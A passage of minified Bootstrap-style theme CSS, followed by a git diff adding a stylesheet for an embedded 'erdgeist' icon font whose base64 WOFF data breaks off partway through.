responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{border:0;margin-bottom:0}.panel-group{margin-bottom:21px}.panel-group .panel{margin-bottom:0;border-radius:0}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.panel-body,.panel-group .panel-heading+.panel-collapse>.list-group{border-top:1px solid #dddddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #dddddd}.panel-default{border-color:#dddddd}.panel-default>.panel-heading{color:#333333;background-color:#f5f5f5;border-color:#dddddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#dddddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#dddddd}.panel-primary{border-color:#2780e3}.panel-primary>.panel-heading{color:#ffffff;background-color:#2780e3;border-color:#2780e3}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#2780e3}.panel-primary>.panel-heading .badge{color:#2780e3;background-color:#ffffff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#2780e3}.panel-success{border-color:#4e9f15}.panel-success>.panel-heading{color:#ffffff;background-color:#3fb618;border-color:#4e9f15}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#4e9f15}.panel-success>.panel-heading .badge{color:#3fb618;background-color:#ffffff}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#4e9f15}.panel-info{border-color:#7643a8}.panel-info>.panel-heading{color:#ffffff;background-color:#9954bb;border-color:#7643a8}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#7643a8}.panel-info>.panel-heading .badge{color:#9954bb;background-color:#ffffff}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#7643a8}.panel-warning{border-color:#ff4309}.panel-warning>.panel-heading{color:#ffffff;background-color:#ff7518;border-color:#ff4309}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ff4309}.panel-warning>.panel-heading .badge{color:#ff7518;background-color:#ffffff}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ff4309}.panel-danger{border-color:#f0005e}.panel-danger>.panel-heading{color:#ffffff;background-color:#ff0039;border-color:#f0005e}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#f0005e}.panel-danger>.panel-heading .badge{color:#ff0039;background-color:#ffffff}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#f0005e}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;left:0;bottom:0;height:100%;width:100%;border:0}.embed-responsive.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05);box-shadow:inset 0 1px 1px rgba(0,0,0,0.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,0.15)}.well-lg{padding:24px;border-radius:0}.well-sm{padding:9px;border-radius:0}.close{float:right;font-size:22.5px;font-weight:bold;line-height:1;color:#ffffff;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20)}.close:hover,.close:focus{color:#ffffff;text-decoration:none;cursor:pointer;opacity:0.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{display:none;overflow:hidden;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translate(0, -25%);-ms-transform:translate(0, -25%);-o-transform:translate(0, -25%);transform:translate(0, -25%);-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0, 0);-ms-transform:translate(0, 0);-o-transform:translate(0, 0);transform:translate(0, 0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#ffffff;border:1px solid #999999;border:1px solid transparent;border-radius:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,0.5);box-shadow:0 3px 9px rgba(0,0,0,0.5);-webkit-background-clip:padding-box;background-clip:padding-box;outline:0}.modal-backdrop{position:absolute;top:0;right:0;left:0;background-color:#000000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:0.5;filter:alpha(opacity=50)}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5;min-height:16.42857143px}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:20px}.modal-footer{padding:20px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-left:5px;margin-bottom:0}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,0.5);box-shadow:0 5px 15px rgba(0,0,0,0.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;visibility:visible;font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1.4;opacity:0;filter:alpha(opacity=0)}.tooltip.in{opacity:0.9;filter:alpha(opacity=90)}.tooltip.top{margin-top:-3px;padding:5px 0}.tooltip.right{margin-left:3px;padding:0 5px}.tooltip.bottom{margin-top:3px;padding:5px 0}.tooltip.left{margin-left:-3px;padding:0 5px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:rgba(0,0,0,0.9);border-radius:0}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.top-left .tooltip-arrow{bottom:0;right:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:rgba(0,0,0,0.9)}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:rgba(0,0,0,0.9)}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:rgba(0,0,0,0.9)}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:rgba(0,0,0,0.9)}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-size:15px;font-weight:normal;line-height:1.42857143;text-align:left;background-color:#ffffff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.2);border-radius:0;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);white-space:normal}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{margin:0;padding:8px 14px;font-size:15px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:-1 -1 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{border-width:10px;content:""}.popover.top>.arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#999999;border-top-color:rgba(0,0,0,0.25);bottom:-11px}.popover.top>.arrow:after{content:" ";bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#ffffff}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-left-width:0;border-right-color:#999999;border-right-color:rgba(0,0,0,0.25)}.popover.right>.arrow:after{content:" ";left:1px;bottom:-10px;border-left-width:0;border-right-color:#ffffff}.popover.bottom>.arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999999;border-bottom-color:rgba(0,0,0,0.25);top:-11px}.popover.bottom>.arrow:after{content:" ";top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#ffffff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999999;border-left-color:rgba(0,0,0,0.25)}.popover.left>.arrow:after{content:" ";right:1px;border-right-width:0;border-left-color:#ffffff;bottom:-10px}.carousel{position:relative}.carousel-inner{position:relative;overflow:hidden;width:100%}.carousel-inner>.item{display:none;position:relative;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>img,.carousel-inner>.item>a>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000;perspective:1000}.carousel-inner>.item.next,.carousel-inner>.item.active.right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0);left:0}.carousel-inner>.item.prev,.carousel-inner>.item.active.left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0);left:0}.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right,.carousel-inner>.item.active{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;left:0;bottom:0;width:15%;opacity:0.5;filter:alpha(opacity=50);font-size:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-control.left{background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-image:-webkit-gradient(linear, left top, right top, from(rgba(0,0,0,0.5)), to(rgba(0,0,0,0.0001)));background-image:linear-gradient(to right, rgba(0,0,0,0.5) 0, rgba(0,0,0,0.0001) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1)}.carousel-control.right{left:auto;right:0;background-image:-webkit-linear-gradient(left, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-image:-o-linear-gradient(left, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-image:-webkit-gradient(linear, left top, right top, from(rgba(0,0,0,0.0001)), to(rgba(0,0,0,0.5)));background-image:linear-gradient(to right, rgba(0,0,0,0.0001) 0, rgba(0,0,0,0.5) 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1)}.carousel-control:hover,.carousel-control:focus{outline:0;color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90)}.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left{left:50%;margin-left:-10px}.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right{right:50%;margin-right:-10px}.carousel-control .icon-prev,.carousel-control .icon-next{width:20px;height:20px;margin-top:-10px;line-height:1;font-family:serif}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;margin-left:-30%;padding-left:0;list-style:none;text-align:center}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;border:1px solid #ffffff;border-radius:10px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0)}.carousel-indicators .active{margin:0;width:12px;height:12px;background-color:#ffffff}.carousel-caption{position:absolute;left:15%;right:15%;bottom:20px;z-index:10;padding-top:20px;padding-bottom:20px;color:#ffffff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,0.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{left:20%;right:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.btn-toolbar:before,.btn-toolbar:after,.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after,.pager:before,.pager:after,.panel-body:before,.panel-body:after,.modal-footer:before,.modal-footer:after{content:" ";display:table}.clearfix:after,.dl-horizontal dd:after,.container:after,.container-fluid:after,.row:after,.form-horizontal .form-group:after,.btn-toolbar:after,.btn-group-vertical>.btn-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after,.pager:after,.panel-body:after,.modal-footer:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important;visibility:hidden !important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:767px){.visible-xs-block{display:block !important}}@media (max-width:767px){.visible-xs-inline{display:inline !important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:1200px){.visible-lg-block{display:block !important}}@media (min-width:1200px){.visible-lg-inline{display:inline !important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:767px){.hidden-xs{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media (min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}}.navbar-inverse .badge{background-color:#fff;color:#2780e3}body{-webkit-font-smoothing:antialiased}.text-primary,.text-primary:hover{color:#2780e3}.text-success,.text-success:hover{color:#3fb618}.text-danger,.text-danger:hover{color:#ff0039}.text-warning,.text-warning:hover{color:#ff7518}.text-info,.text-info:hover{color:#9954bb}table a:not(.btn),.table a:not(.btn){text-decoration:underline}table .dropdown-menu a,.table .dropdown-menu a{text-decoration:none}table .success,.table .success,table .warning,.table .warning,table .danger,.table .danger,table .info,.table .info{color:#fff}table .success a,.table .success a,table .warning a,.table .warning a,table .danger a,.table .danger a,table .info a,.table .info a{color:#fff}.has-warning .help-block,.has-warning .control-label,.has-warning .form-control-feedback{color:#ff7518}.has-warning .form-control,.has-warning .form-control:focus,.has-warning .input-group-addon{border:1px solid #ff7518}.has-error .help-block,.has-error .control-label,.has-error .form-control-feedback{color:#ff0039}.has-error .form-control,.has-error .form-control:focus,.has-error .input-group-addon{border:1px solid #ff0039}.has-success .help-block,.has-success .control-label,.has-success .form-control-feedback{color:#3fb618}.has-success .form-control,.has-success .form-control:focus,.has-success .input-group-addon{border:1px solid #3fb618}.nav-pills>li>a{border-radius:0}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{background-image:none}.close{text-decoration:none;text-shadow:none;opacity:0.4}.close:hover,.close:focus{opacity:1}.alert{border:none}.alert .alert-link{text-decoration:underline;color:#fff}.label{border-radius:0}.progress{height:8px;-webkit-box-shadow:none;box-shadow:none}.progress .progress-bar{font-size:8px;line-height:8px}.panel-heading,.panel-footer{border-top-right-radius:0;border-top-left-radius:0}.panel-default .close{color:#333333}a.list-group-item-success.active{background-color:#3fb618}a.list-group-item-success.active:hover,a.list-group-item-success.active:focus{background-color:#379f15}a.list-group-item-warning.active{background-color:#ff7518}a.list-group-item-warning.active:hover,a.list-group-item-warning.active:focus{background-color:#fe6600}a.list-group-item-danger.active{background-color:#ff0039}a.list-group-item-danger.active:hover,a.list-group-item-danger.active:focus{background-color:#e60033}.modal .close{color:#333333}.popover{color:#333333}
diff --git a/themes/erdgeist/assets/css/erdgeist-embedded.css b/themes/erdgeist/assets/css/erdgeist-embedded.css
new file mode 100644
index 0000000..22a5941
--- /dev/null
+++ b/themes/erdgeist/assets/css/erdgeist-embedded.css
@@ -0,0 +1,70 @@
1@font-face {
2 font-family: 'erdgeist';
3 src: url('../font/erdgeist.eot?73063744');
4 src: url('../font/erdgeist.eot?73063744#iefix') format('embedded-opentype'),
5 url('../font/erdgeist.svg?73063744#erdgeist') format('svg');
6 font-weight: normal;
7 font-style: normal;
8}
9@font-face {
10 font-family: 'erdgeist';
11 src: url('data:application/octet-stream;base64,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